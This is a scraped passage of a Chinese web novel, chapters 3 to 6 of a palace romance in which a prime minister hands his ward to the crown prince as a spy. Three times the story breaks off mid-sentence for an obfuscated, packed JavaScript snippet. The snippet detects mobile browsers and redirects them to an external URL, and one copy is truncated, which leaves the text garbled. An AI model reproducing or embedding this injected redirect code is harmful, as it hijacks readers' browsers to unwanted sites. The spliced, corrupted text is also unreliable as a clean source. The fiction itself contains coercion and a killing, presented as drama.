《倚玉为欢》 3. 第 3 章 直至耳畔响起男人熟悉的声音,“太子想要,臣自当双手奉上。” 自当奉上, 自当…奉上… 席下商陆的语气依旧如同往日那般疏离,而他的话却让谢为欢如坠冰窟,呼吸顿觉艰难无比。 清冷的月光落在她身上,犹如当年那场大雨一般,彻骨寒凉。 商陆将她送人了… “哈哈哈,商丞相,你的话孤可当真了,如此这美人可就归孤所有了,你可不准反悔。” 李珏走向谢为欢,伸出手揽住她的腰身,灼热的气息落在她胸前,灼烧她的肌肤。 事情发展得太快,谢为欢来不及躲避,她不敢挣扎,也不能挣扎,只能任着李珏那双炙热的手掌紧紧握在她腰间,抗拒却又不得不遵从。 她就像是一个物件,如今从商陆手中,到了太子手中。 “殿下何必如此心急,既是要服侍殿下,不容出一丝差错,不如今夜臣将这奴婢带回去好好教上一教,明日亲自送到殿下府上,如何?” “好,就依丞相所言。”李珏松开她的腰身,又在她耳畔轻语道:“美人,你可要等着孤。” 谢为欢不自觉后撤一步,紧咬住唇,压下心中的慌乱,“奴婢……奴婢谢过太子殿下!” 插曲过后,喧闹声再次响起,众人又恢复如常。只有谢为欢一人仿佛置身其外,与宴会的一切格格不入。 退回商陆身侧时,她垂眼看向他,男人平静地饮着茶,好似方才什么都没有发生。 将她送人仿佛是早有预谋,而非一时兴起。 凉风拂过,吹动少女额间的碎发,朦胧间看不清男人的眸色。 她只知道自己不想,也不能入太子府。 …… 宴会结束后,谢为欢跟着商陆回到车舆。她想同商陆说,能不能不让她入太子府,口中的话几次欲说出却又被她生生咽了回去。 最终她一咬牙,“相……” 只吐出一个字,抬眼时却见男人阖着双眸,呼吸均匀,睡着了。 商陆似乎很疲惫,她不忍心打扰。 只能回府再议此事。 夜色似一片薄雾,笼在男人身上,更显神秘。 她的哀求会令商陆心回意转么? 谢为欢没了底气,这么多年来她的心意众人都看得出来,她也相信商陆会有所察觉,只是未捅破这层窗户纸。 如今看来,像是自己在异想天开。 不知过了多久,马车缓缓停下,已至相府,谢为欢小心翼翼跟在商陆身后进了屋内。 周围一时,寂静无声。 屋内燃着烛火,一阵晚风习来,灯火被吹得明灭恍惚。 她依旧看不清男人的神色。 商陆端坐在案前,瞧见她跟着进来,冷声问道:“何事?” 她从未忤逆过商陆的决定。 这次终于鼓足勇气,打算为自己争取一次,“相爷,欢儿不愿入太子府。” 话音落,冷淡的眼神扫视过来。 对视不过片刻,却无比漫长。 “哦?你不愿?”商陆心中升起不虞,语气更冷了几分,“为何?” 烛火映在男人冷淡的脸上,他的神情同嗓音一样淡。 谢为欢跪在地上,“相爷,欢儿这辈子只愿留在相府,求您不要送欢儿去太子府中。” “欢儿只想留在您身侧。” 空气突然凝滞,两人的呼吸声清晰可闻。 商陆搓着手指,并未看向谢为欢,“欢儿!养棋一日,用棋一时,如今正是需要你为我做事的时候。” “相爷的意思是…” “我要你去太子府中做内应,助我行事。” 谢为欢心中的疑惑顿时消散,接着掀起一阵异样的波澜。 “所以,欢儿只是相爷的一步棋么?” 她垂着眼问出这一路都在思考的疑问。自让她学舞,商陆就打算将她献给太子作内应。 她只是一步养在身侧的棋。 商陆将衣袖摆了摆,“你是我亲手养大的,没人比你更合适。” 商陆抬眸瞧了面前谢为欢一眼,少女垂着眼,眼底满是伤心,他心中忽地升起一阵异样情绪,不过须臾便被他压下去。 他从不会对任何人解释自己的行事,不论是养育她长大,还是将她送人,皆在他的一念之间。 不管对错,他的决定无人能改变,且从不会认为自己错了。 谢为欢望着男人那双冰冷的眼,犹如闪着寒光的刀锋,瞬间明白了一切,知此事已是他下定决心,毫无转圜余地。 “相爷,您养育欢儿多年,欢儿无以为报。”谢为欢缓缓站起身,似做出决定,纤细的手指解开腰间的珞子,褪去身上轻薄的纱衣。 在烛火的映衬下,不知是害羞还是凉意让少女玉肤如醉,如墨的发丝垂在身前,挡住本该露出的旖旎风光,更让人神摇意夺。 “如今欢儿未至太子府,身子还是干净的。” 如今趁着自己还是干净之身,她愿意将自己献给相爷,成为他的女人。 衣物落地的声音落在耳畔。 谢为欢将身上的衣物一件件脱下。 而商陆却只是坐在案前不为所动,未曾施舍她一个眼神。 哪怕一个。 “穿上,我教养你十年,都学了什么?竟有如此龌龊念头。” “我不会碰你。” 商陆阖着眼,端坐在案前,他的言语如同冬日的寒风。 冷漠,甚至还带有一丝嫌弃。 像刀子一般寸寸剐着谢为欢的心,连手脚止不住地痉挛,如一只受伤的鸟无处躲藏,只想钻进地里。 ——龌龊的念头 ——不会碰她。 她怎会期盼着男人会对她有所不同, 还抬她入府。 她似乎已经忘记男人是十八岁官拜丞相,能止小儿啼哭的相爷。 她竟还抱着商陆对她有非分之想, 真是痴傻。 自己只是一个乞丐罢了,怎能妄图染指高高在上的相爷。 她肮脏的身子, 怎配? 怎配? “相爷,是欢儿的错,欢儿不该对您有非分之想。” 谢为欢眼里蓄满了泪,已看不清地上的衣物落在何处,只好跪在地上伸出手去摸索。 泪水落在地上。 她试图将其擦去,不能脏了相爷的屋子。 毕竟她身份卑.贱。 身上的衣物一件件穿上后,她伏地求饶:“欢儿知错,这便退下。” 商陆点头,未语。 谢为欢走后,他睁开眼瞧见地上的泪水和血迹。 刺眼,夺目。 少女眼尾泛红,□□站在他身前的场景一遍遍浮现在脑海。 他攥着的指尖微微泛白, “来人!把地擦干净。” …… 谢为欢失魂落魄走回屋内,手指不知是何时擦伤还留着鲜血。 自指尖滴落在衣物上,显得她更加狼狈不堪。 守在门外的半夏见谢为欢如此模样睁大了双眼愣在原地,回过神后赶忙迎上前去扶起她,心急道:“姑娘,您这是怎么了?” “半夏……扶我进去。”谢为欢的声音很轻,还带着颤音。 不知是方才脱衣着凉的缘故还是心冷。 那凉意从四肢蔓延至骨骸,让她仿佛置身于六岁时差点要了她命的那场滂沱大雨。 回屋后,她蜷缩在床角,将被衾裹在身上。 “姑娘,你这是发生什么了?怎么和相爷出去后,好端端的一个人怎变成如此模样?”半夏端来热茶递在她面前,又拿起帕子擦她的手。 热气腾腾,雾气沾在她的睫毛,恍惚了眼。 “半夏,相爷……相爷他已经将我送给了太子殿下,明日便走。” 她的声音很轻,很轻。 “什么?相爷他……他怎么舍得!” 半夏闻此,手上一顿。 她服侍姑娘多年,将姑娘与相爷的日常相处看在眼中。 可她还从未见过相爷对何人如此用心,这谢姑娘可真真是头一份啊! 怎么就送给太子殿下了呢? “半夏,我想自己在屋内…” “好,姑娘,奴婢在外守着,有事唤奴婢。” 合门之际,半夏望了望榻上的谢为欢,真是不懂相爷明明养了姑娘那么多年,怎么就转头送人了! 烛火跳动,谢为欢的眼神却早已失了颜色。 本以为自己的一心一意能将男人冰冷的心捂热,却没想到男人始终是块捂不热的石头。 谢为欢擦了擦眼角的泪,她的幻想破灭了。 一夜未眠。 …… 次日,鸡鸣报晓。 谢为欢早早起身将自己打扮得体,穿上那件商陆曾说过好看的淡青色纱裙。 无论如何,不能丢了相府的颜面。 接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115913|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,她同半夏坐上前往太子府的车舆。 良久后,至太子府。 偏门早已有掌事嬷嬷等待,她如今无名无分入府,连侍妾都不如,只能从偏门而入。 她在半夏的搀扶下,跨过门槛。 门内的嬷嬷手执藤条,高傲抬起头,斜睨着她,“姑娘既入了我太子府,那就是我太子府的人,日后定要尽心尽力服侍太子。” “是……” “还有,眼下姑娘没名没分,要等着太子殿下回来决定,既如此便先到偏殿等着。” “奴,知道了。” 此言一出,嬷嬷忽地顿住步子,执起手中的藤条回身抽向谢为欢的胳膊。 拍的一声响, 霎时间火辣辣的刺痛感从她胳膊蔓延至全身。 “错了,你入了太子府,就是太子的人,要自称妾,而非奴,可记住了?” 谢为欢紧紧咬住下唇,忍住疼痛,“记…记住了。” 半夏瞧见谢为欢被打,一时气不过反驳道:“你这嬷嬷!我家姑娘错了,你纠正便是,凭什么打人?” 她大有一副上前理论的架势。 “半夏!” 谢为欢赶紧伸手拦住她,这里并非丞相府,一旦行差踏错引来的后果不堪设想。 嬷嬷的脸色更加难看了,甩了甩手中的藤条,大骂道:“就凭我是太子府的掌事嬷嬷,连太子殿下都要对我尊敬几分,你个身份卑贱的侍女,仗着自家主子得了殿下的青眼,就敢对我大呼小叫?” 下一刻嬷嬷的藤条就要抽向半夏。 谢为欢拉住半夏跪下认错道:“嬷嬷,是妾的错,日后妾会好好管教奴婢,嬷嬷饶了她这一次可好?” 嬷嬷翻了个白眼,冷哼一声,“还是主子懂事些,你们跟我来吧。” “是!多谢嬷嬷。” 在嬷嬷的带领下她们在府中行了好久才至偏殿。 谢为欢不禁于心中暗叹,这太子府竟比相府大了一倍! 推门入殿,殿内应有尽有,处处透露着奢靡皇家之风。 嬷嬷又道:“姑娘便在此处等着殿下回来,若是殿下传召,会有下人前来通传姑娘。” “是,嬷嬷。” 谢为欢因昨日一夜未眠,今日又折腾半天来到太子府中,浑身的疲惫感袭来,她双腿发软,只能瘫坐在床榻上。 “姑娘,这太子府的下人都吃人,别说太子殿下了,以后我们该如何生存?”半夏带着哭腔说道,方才那个恶嬷嬷明明是处处针对他们。 “既来之则安之,半夏。” 谢为欢望着合窗外随风作响的梧桐树,一切已不是相府熟悉的模样,完全到了一个陌生的地界。 她又能做什么? 只好规劝自己,既来之则安之。 只愿自己能在这太子府中安稳度日,赢得他信。 她坐在床榻上等着太子回来, 等啊等啊。 终于在晚时吃过送来的吃食后,有婢女来报,太子殿下已归,传召她前去侍侯。 接下来一众婢女们鱼贯而入,她像一个物件一样,被人摆弄着沐浴,更衣。 最后身着一件极为轻薄的寝衣被送进太子寝殿。 可谁知,入殿后仍是不见太子的踪影。 谢为欢试探性问道:“太子殿下呢?” 婢女低着头,懦懦道:“回姑娘的话,殿下在前院。” 嘎吱一声,房门被紧紧合上,婢女退下。 殿内只剩下她一人,一时之间,站也不是,坐也不是。 犹豫再三决定站在门前候着太子归来。 她心如鹿撞,不停地踱步。 眼下入了太子府,又在太子寝殿内,侍奉他乃是人之常情。 可她不愿, 不愿意就如此将自己交给一个陌生男子。可是若太子真的要她,她又能以何理由拒绝呢? 躲得了一时,躲不了一世。 身处于太子府中,她终归还是要属于太子。 思此,她垂下湿漉漉的睫羽。 殿内香炉散发的香气,让人更加朦胧,竟让她酝酿出一丝丝困意。 直至耳畔响起一阵脚步和交谈声,谢为欢困意登时消散。 “奴婢参加太子殿下!” “谢姑娘在里面?” “回殿下的话,谢姑娘一直在里面侯着殿下回来。” 人语毕,那脚步之声越来越近。 她手指紧紧扣着,心跳如鼓。 4.第 4 章 门吱呀一声被人推开,李珏快着步子从门外走进,带进来屋外的凉意。 谢为欢此时只身着一件极为轻薄的纱衣,不禁冷得打了一个寒颤,她低着头迎上前,纱衣随着她的步子旋转,无风自动,裙裾飘飞。 “妾,参见殿下。” 然,对方却只是盯着她不动,也未让她起身,那灼热的视线太过于明显,仿佛要燃烧出一团火焰。 “殿下?”她出言提醒。 李珏终被唤回思绪,上前将她扶起,紧紧握住她的手,柔声道:“快起来,你怎么一直站着这里等孤?” 眼前少女一身淡粉色薄纱寝衣罩在身上,在烛火的映照下,她长发松散在身前,隐隐遮住大片风光,身姿袅袅,肌肤胜雪。 而那寝衣似乎并不合身,纱织腰带轻系,只要轻轻一碰,寝衣将会脱落于地。看来府中的下人很是有眼力见儿。 “这都是妾应该做的。” 谢为欢在李珏的搀扶下起身,低着的眸子抬起,望着眼前的男人,看向她的视线比昨日更加柔情,也无放荡的举止,多了几分儒雅君子的风度。 她初来太子府,若是要做商陆的内应,就必须以示柔弱来打消太子的疑心,继而取得信任。 李珏无声笑了下,又牵着她的手,坐在软榻上,“你竟如此善解人意。” “殿下折煞妾了。” 她的手被李珏紧紧握着,手指摩挲着她的手心,传来阵阵痒意让她的指尖不自觉缩了缩,连着脚趾都蜷了起来。 她本就敏感,更别说眼下还是一个陌生男人的触碰。 “孤只知你姓谢,不知叫什么?” 他轻声细语,声音很好听。 如优雅的琴声入耳,让人心情舒畅。 “妾…唤作谢为欢。” 李珏轻轻开口:“谢为欢,那孤可以叫你欢儿么?” 欢儿,欢儿…… 这十年来,只有商陆如此唤过她。 眼下也要让另一个男人也如此唤她。 她眼睫低垂,压下心中那一丝酸楚,“自是可以,殿下想唤妾什么就唤什么。” “你怕孤么?”李珏侧眸含笑。 “殿下身份尊贵,妾不是怕而是敬,在妾心里,殿下是君,妾的一切都是殿下的。” 谢为欢抬起眸子,望着李珏真挚说出这番很受用的话。 然,此话一出,李珏松开她的手,脸上的笑意渐渐消失,被另一种不知名的情绪所替代。 是失望,还是伤感。 谢为欢看不真切,也猜不透,就在她以为是自己失言碰了李珏的痛处,刚要出言挽回时, “殿下……” “欢儿,曾经有一个人,她也对孤说过此话,一模一样。”李珏忽地出言打断她的话,他的目光里光影浮动。 谢为欢暗自长出口气,如释重负,应付道:“看来那个人同妾一样,皆被殿下所折服,仰慕殿下。” 她打量着李珏复杂的情绪,能看出他口中的人让他记挂许久,在他心中一定有着非同一般的份量。 “仰慕么?” 李珏盯着她瞧了片刻,而后伸出手将她身前的发丝轻轻拨弄在身后,温柔抚上她的脸颊,渐渐靠近。 空气中弥漫着男人身上特有的檀香,给两人之间增添了些许暧昧的气氛。 “殿下……” 谢为欢这一声唤得很柔,男人眼底的情动清晰可见。既然已来到这太子府,早晚有一日要面对此事,若是抗拒,未免会让李珏起疑心。 不如,主动。 李珏喉结明显一滚,羽翼般的眼睫微微发颤,接着手伸向她腰间的衣带…… 男人温热的气息萦绕在她的胸前,让她很是抗拒,手轻轻搭在他肩膀,欲拒还迎。 除了商陆,她从来没有跟别的男人如此近距离接触过。 她不由得身体紧绷,眼神里充满慌张。 令她没想到的时李珏在将她抵在榻上后,动作却突地一顿,“欢儿好像…不太愿意。” 李珏望着眼前少女的手指紧紧攥着被衾,闭着眼不敢瞧他,浑身上下透露着抗拒,即使言语上满是主动。 他不会强行要她。 “殿下何出此言?能服侍殿下,是妾的福气。”谢为欢内心有些不安,勾住李珏的手解释道:“殿下……” 明明自己已经竭尽全力克制住内心的抗拒,可惜还是被对方瞧出来,她也只能尽力挽回。 “欢儿,孤不会强迫你。” 谢为欢望着男人真挚的眸子,目光掠过一丝惊讶。明明传言李珏是风流多情的太子,可如今在她眼前却风度翩翩,极为体贴。 “殿下,妾初经人事,略有紧张,并非是不愿。”谢为欢轻轻眨着眼,若是今日得了李珏的厌弃,怕是要辜负商陆所托。 空气一时之间陷入凝滞,时间被无限拉长。如水的月光透过窗子,悄悄溜进屋内,地上仿佛镀了一层白金。 直至耳畔传来身前人的一语,“欢儿,陪孤说说话可好?” 李珏在征求她的意见。 谢为欢微微一愣,这李珏召她前来却不碰她,处处照顾她的情绪。 如今竟还要让她陪他叙话,莫非是要打探她来太子府的目的? 她按下心中的疑惑,坐在李珏身侧,“好,妾陪殿下叙话。” 李珏:“欢儿,年岁几何?” 谢为欢愣了一下,难以置信望着李珏,本以为对方会问她关于相府的事,她已在心中做好准备应付,没想到男人一开口居然问她年岁。 “回殿下的话,妾今年十六。” “十六…”李珏忽地笑了一声,“孤竟比欢儿整整大了九岁。” “十年前…十年前欢儿才六岁。” 他的笑带着几分苦涩,还有……惋惜。 “欢儿,可听说过容家?”李珏注视着她,眸子里光影浮动。 “妾不知。” 谢为欢摇了摇头,于心中默念着容家二字。忽地思起,男人口中的容家应该是十年前因通敌卖国而全家斩首的罪臣,偶然间听到下人们议论过,其他的却是一概不知。 “算了,不提也罢,好端端的同欢儿提什么容家,孤真是糊涂了。”李珏摆了摆手,似在自嘲,掩过面上复杂的情绪。 她瞧着眼前伤感的李珏有些不知所措,“殿下,妾……” “欢儿。”李珏打断她的话,“你躺下,孤看着你睡。” “殿下,不妥,让妾服侍你睡。” 谢为欢欲起身却被李珏拦住,按回软榻上躺着。 “孤说看着你睡,便看着。” 男人的态度很强硬,谢为欢知不能改变他的决定,只好顺从,乖乖躺回软榻上。 “妾遵命。” 烛火落在男人的脸上,映着他泛红的眼角。谢为欢瞄了一眼李珏后,乖乖闭上眸子,心中不禁思索着,今日李珏在她面前怪异的举动。 想着想着,困意涌上心头。 迷迷糊糊之际,她仿佛听到身前的男人,唤了他一句她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123458|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “清儿。” 最后她彻底无了意识,睡了过去。 …… 夜半,相府。 坐在案前看书卷的商陆思绪被窗子前随风作响的铃兰花而拉去。那是谢为欢亲手种栽下的,趁着他不注意送来他的屋内,如今已花团锦簇。 他搓了搓手指,唤回自己纷扰的思绪,怎么会想到她?自己太过于清闲了。 “来人!奉茶!” 语毕,从门外缓缓走进来一个打扮艳丽的婢女,她身着淡青色轻纱,脸上的妆容同谢为欢一般无二,望向商陆的眼神充满柔情。 商陆未抬眼,只瞧着手中的书卷,直到那婢女行至身侧,一股异常香甜的味道入鼻,令他头昏脑胀。 “相爷,喝茶。” 这一声那婢女唤得极媚。 商陆抬眼,见那婢女身着轻纱,胸前大片风光几乎裸露在外,算不得什么绝色,倒也貌美。 只不过……一个俗物。 他低头嗤笑了一声。 婢女见从不笑的商陆居然在对着她笑,心中霎时觉得自己爬床一事有戏。 她放下茶盏后,找准机会蹲下身抱住商陆,贴向他。 “相爷,您疼疼奴婢,奴婢是真心爱慕您。” 商陆眼眸森然,他平日里最讨厌无关人等近身。 “滚!” 然,那奴婢仍是不愿意松手,想再为自己争取一番,“相爷,奴婢…奴婢会比谢姑娘做的更好。” 商陆眉心微动,缓缓转头看向她,抬起狭长的凤眸满是杀机,“比她做的更好?” 婢女满眼欣喜:“是相爷,奴婢一定会让相爷满意。” “好,你去榻上等着。” 良久后,商陆冷冷道。 “是,相爷!” 奴婢见此事有戏,立时起身走向床榻。若是能获得相爷的怜惜,她这一辈子都不用愁吃穿用度。 果然是那谢为欢没用,连相爷的心都拴不住,转头送给了别人,这破天的富贵,终于落在了她头上。 待她褪下全身衣物,耳畔传来男人的脚步声。回过头时,却见男人手执长剑向她缓步走来。 那眸子红得可怕,在清冷月光的衬托下,男人不输地狱的修罗。 “相…相爷!奴婢错了,奴婢再也不敢了!”那婢女跪在商陆的脚下叩头求饶。 她怎么也没想到,商陆会杀她! 然,男人面无表情,只是缓步逼近,而后果决执剑刺向婢女。 刀剑入体后,那婢女口吐鲜血倒在地上,没了气息。 商陆眼皮轻掀,语气无甚波澜,“蠢货。” 这时恰逢重楼归来,耳闻屋内的异响,立即推门而入,“相……” 映入眼帘的是□□的婢女躺在地上,商陆手执长剑站在她身前。 那剑上,满是鲜血。 见此,重楼已猜到发生了什么,“相爷,都怪属下,让这般肮脏的人进来,打扰相爷!” 商陆扔下手中的剑,从怀中拿出帕子擦着手上的血迹,“托下去示众,若日后再有妄图爬床之人,就是如此下场。” “是相爷!属下遵命!” 重楼忐忑不安回应着,平日里相爷是总扳着个脸,可是怎么今夜的相爷显得更加可怖了? 浑身上下透着极为骇人的戾气。 “太子府那边如何?”商陆扔下手中的帕子,重新坐回案前问道。 重楼:“回相爷的话,太子今夜召幸了谢姑娘,事情发展一切顺利。” 5.第 5 章 晨光透过床幔洒在谢为欢的脸上,她用手掌遮住眼,于软榻上缓缓坐起身。 不料被衾滑落,轻薄的寝衣再也不能遮挡,她的双肩裸露在外,肌肤透着红晕。 她抬眸瞧了瞧,见眼前已无了李珏的身影,难不成男人一夜未眠守了她整整一夜? 传召却不宠幸。 这李珏的行为太过于怪异,令人捉摸不透。 “有人么?”她对着门外唤道:“半夏?” 一声落,守在门外的半夏听到谢为欢的呼唤声,立时推门而入,“姑娘!” 她的声音欢快而明亮。 谢为欢拢了拢衣襟,掀开床幔,见眼前的半夏眉眼弯弯,似有高兴之意,疑惑问道:“半夏你高兴什么?有什么好事?” 半夏笑了起来:“我的姑娘啊,太子殿下一早便传了旨意,抬了姑娘的位份,给了您奉仪之位。” 谢为欢怔怔地望着半夏,声声话语入耳却听不真切,她再次确认道:“你是说,太子殿下抬了我的位份?” “是啊姑娘,如今府中上上下下都要来讨好姑娘呢,下人们都说虽然这太子殿下是风流了些,但也没见着哪一个只宠幸一次,就能得到位份的,姑娘可真真是头一个!” “太子殿下也是处处为姑娘着想,体贴入微,怕姑娘醒来不便,特意去唤了奴婢前来侍奉姑娘。” 半夏眉飞色舞地说着,只要她心中一想到今晨那恶毒的掌事嬷嬷对她毕恭毕敬的模样,就止不住笑意。 谢为欢垂下眼睫,不自觉看向手腕那处明显的守宫砂,在光的照耀下更觉刺眼。 她下意识往袖子里隐了隐,明明没得到李珏的宠幸,却被他抬了位份。事出反常,也不知李珏目的为何。 “眼下姑娘在这太子府混得可比相府还要好嘞!奴婢真是替姑娘高兴!” 半夏的欢喜却在谢为欢那里成了苦楚,她无论在何处皆是身如浮萍,不知归处,如今为助商陆行事,要在这太子府做内应,也算是他的报答恩情。 “姑娘,姑娘!奴婢同您讲一撞大事。”半夏忽地出言。 “何事?” 半夏表情严肃起来,凑近她压低声音道:“姑娘,奴婢听人说昨夜相府的婢女阿碧意图爬床,被相爷赐死了,相爷动了好大的怒,气得一夜未眠呢!” “…爬床?” “是啊爬床,听说姑娘走后那帮婢女们全部开始不老实起来,都认为自己有机会被相爷看中,真是吃了雄心豹子胆,爬谁的床不好,居然敢爬相爷的床,那相爷是何人?” “不过那阿碧也算是恶人有恶报,谁让在相府时她总是欺负姑娘!” 谢为欢神情微敛,一时说不来任何话。 她也没想到竟还有婢女想爬商陆的床,平日里男人最是讨厌生人靠近,这婢女也是自寻死路。 不过一向极少动怒的商陆怎会因一个爬床婢女生如此大的气。 看来定是那婢女做了什么过分的事,让商陆动了杀心。 思此,她叹了口气,如今相府再发生什么又同她有什么关系呢?她只需要好好在这太子府中,尽力获取李珏的信任,完成日后商陆交代的任务。 足够了。 在半夏的服侍下谢为欢起身换上衣物,昨夜的那件寝衣实在不堪入目,若不是为了勾引李珏,她绝不会穿上。 收拾一番后,她又在府中婢女的引领下回了自己的寝殿。 眼下李珏抬了她的位份,她身为太子俸仪也有了自己的寝殿,自不似昨日那般只能歇在偏殿。 不过片刻,便行至她日后所要居住的清月殿。 “奉仪,这便是日后您所居住的寝殿了。”婢女俯身行礼,笑道:“太子殿下待俸仪真好,我们这些下人都看在眼里,这清月殿可是离殿下寝殿最近的殿宇,位置极佳,俸仪日后定会前途无量。” 谢为欢心里知晓那婢女是在讨好恭维,摆了摆手,轻轻道:“半夏,赏!” “奴婢谢过奉仪!” 听着那奴婢的恭维,谢为欢竟无半点欢喜,甚至觉得有些可笑。 她不过是乞丐出身,如今却成了人人口中的奉仪,还是独得太子殿下宠幸的奉仪。 是以,她不禁在心中想着,若是有朝一日李珏厌弃于她,这太子府中的下人们会不会也如相府的人一般,瞧见她失势,全部过来踩一脚,恨不得将她踩进泥里,永世不得翻身。 人性如此,她并不怨恨,谁让自己只是一个卑贱的乞丐,不过是得到商陆的怜悯,成了不是下人的下人。 …… 入清月殿后,谢为欢在半夏的服侍下用了午膳。午时的阳光轻柔地照在窗边,暖融融的,惬意而温和。 见此她起了出去闲逛的心思,立时拉着半夏出了殿。 正如那婢女所说,这清月殿确实位置极佳,不仅紧紧挨着李珏的寝殿,向东没走几步就会到府中最大的御园。 她缓步行过池塘上的红桥,碧柳随风而摇,掠过她的裙摆。再行几步,花香扑鼻,芳草如地毯平铺,见各种奇珍异草数不胜数。 不愧是太子府。 谢为欢抬眸细细打量了一眼,最终在一丛花簇前停住步子。眼前那花开得极为绚丽,让人瞧了也充满活力。 “姑娘,这花开得真好看。”半夏笑道,往日在相府她和她家姑娘都是受尽白眼,没想到来到这太子府倒是因祸得福,成了人人敬着的主子,就此过上了好日子。 “花无百日开,人无百日红,谁又怎知能安稳多久。”谢为欢伸出手轻轻触碰那花朵,谁知只一碰,那花竟落在了地上,掉入泥里,不再有盛开时的绚丽。 半夏劝说道:“姑娘别说什么丧气话,您眼下如此得太子殿下欢心,日后定会前途无量的,会在这太子府中安安稳稳的。” “但愿……” 但愿她能取得李珏的信任。 她垂眼望向那落入泥中的花朵,眸光微闪,即使那花如今落在泥里,却曾也绚丽过。 而她呢? 似乎从未有过自己,自幼时被商陆带回府中养育,她为了生存,处处小心谨慎,从不敢忤逆男人的任何决定。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128647|164153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顺从好像是她这一生需要遵循的,无法逃脱。 …… 神思归位,谢为欢自嘲一笑,就在她转身要离开时,一人影忽地闯入她的眼帘。 “奴婢,见过奉仪!” 谢为欢抬眼一瞧,原来是昨日她刚入府时,百般刁难她的掌事嬷嬷。 “嬷嬷快请起。”她淡淡摆了摆手。 然半夏却有意为她那日所受的委屈讨回公道,语气阴阳:“哎呦,这不是我们太子府中的掌事嬷嬷,怎今日对我们家姑娘如此毕恭毕敬?不似昨日那般张牙舞爪?” 闻言,眼前掌事嬷嬷的脸色难看了几分,低着头:“你这话说的,奴婢怎敢对奉仪不敬?” 掌事嬷嬷暗自叹气,她怎么也没想到一个卑贱的奴婢,竟能讨得太子殿下欢心,只侍奉一夜便被抬为奉仪,这日后若是再为太子殿下诞下一儿半女……真是后悔昨日的所作所为,给自己招来了祸事! “半夏…不许为难嬷嬷。” 谢为欢劝阻道,眼前的不过是一个势利眼的奴婢,身处这太子府中,前路未知,能少一事则少一事。 “是,姑娘,我们不同这贱奴一般见识!”半夏冷哼一声,朝那掌事嬷嬷吐了口吐沫,随着谢为欢而离去。 “小贱蹄子!”待他们走后,掌事嬷嬷的脸瞬间阴沉下来,咬着后槽牙狠狠道:“等着瞧,过几日我要让你们好好瞧瞧,到底谁才是这太子府的女主人!” …… 转眼已至晚时,前殿传来李珏口谕,今夜仍是由她侍寝。 殿内烛火幽幽,摇曳的烛影映在屏风上忽明忽暗,谢为欢站在殿内等着李珏的到来。 为了事成,她仍穿着昨夜那件“不堪入目”的寝衣。 昨夜她能认为是李珏怜她初经人事,给她时间缓解心中的紧张情绪没有碰她。 那今夜呢? 好像并没有什么理由不让她侍奉。 眼下她成了李珏的奉仪,与他做什么都合乎情理。 无论她心中藏着是何人,她的身子只能属于李珏。 …… 良久后,那阵熟悉的脚步声在耳畔再次响起,李珏风尘仆仆推门而入。 谢为欢抬眼瞧他,男人依旧是满眼神情,不过与昨夜大为不同的是,今日的他似乎更显急切。 “妾,见过殿下。” 李珏上前握住她的手将她扶起,动作轻柔地抚了抚她的发丝,柔声道:“欢儿,等孤很久了吧。” “不久殿下,这都是妾应当做的。” 言罢,谢为欢主动挽住男人的胳膊,声音带着几分娇媚,“殿下,今夜让妾服侍您可好?” 话语落,空气陷入凝滞。 烛火微不可察地跳动着,将他们二人的身影映在屏风上。 她能明显地察觉到男人的呼吸声急促而有力。他已乱了阵脚,不过却在极力克制。 顷刻,两人之间莫名涌上一股子燥热。 李珏握着她的手腕,望着她,轻声道: “欢儿,替孤更衣。” 6.第 6 章 更衣…… 谢为欢垂下眼,心怦怦直跳,她哪里给男人宽衣解带过?无奈只好咬着后槽牙靠近李珏,伸出手去摸腰带。 李珏站在谢为欢身前,打量着少女笨拙的动作,她的素手纤细如葱,肤若温瓷,在他的腰间胡乱摸索着。 两人靠得极近,她急促的呼吸声清晰可闻,紧张又带着一丝抗拒。 “欢儿何时才能为孤将这衣带解开?” 谢为欢被李珏这么一说,急得咬紧下唇,连眉眼中染上了焦急,“殿下,妾尽快。” 然,不等解开那腰带,她只觉自己的腰间落上一双强有力的手,李珏将她打横抱起。 “殿下!”她惊呼一声,双手不知搭何处,只好在半空中胡乱挥着。 “孤抱你过去。” 烛火不知在何时熄灭,殿内只剩下皎洁的月光,床幔随风飘起,透出一丝丝朦胧的光影。 谢为欢被李珏放在了软榻上,衣襟散落,露出大片肌肤。她能明显感觉到男人腰间的玉佩坠下,那凉意直直落在她的腿上,不禁引来一阵寒战。 她不敢动,只是乖乖等着男人下一步动作。 她虽是未经人事,却也曾在半夏的怂恿下看过那些旖旎话本,知道男女欢好该如何去做。 水/乳/交/融,阴阳调和。 感受到对方灼热的目光,正直直盯着她瞧,谢为欢主动伸出手。 “殿下……” 